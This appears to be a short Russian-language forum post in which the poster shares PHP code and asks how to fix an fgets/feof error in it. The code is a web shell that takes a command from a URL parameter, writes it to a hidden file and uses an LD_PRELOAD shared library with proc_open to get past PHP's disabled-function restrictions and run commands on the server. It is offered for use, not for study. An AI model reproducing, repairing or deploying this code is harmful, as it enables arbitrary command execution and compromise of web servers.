PHP: <?php $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("file", $path."/output.txt","w"), 2 => array("file", $path."/errors.txt", "a" ) ); $cwd = '.'; $env = array('LD_PRELOAD' => $path."/a.so"); $process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed sleep(1); $a=fopen($path."/.comm1","r"); echo "<pre><b>"; while (!feof($a)) {$b=fgets($a);echo $b;} fclose($a); echo "</pre>"; ?> ругается решение данной проблемы заменой fgets и еще чего-то там, не помню, подскажите
это я в тексте так указал в коде другие пути я помню была такая проблема, решалась полным путем к .comm, и заменой кода fgets и feof на другой, и цикла небыло. работало путем.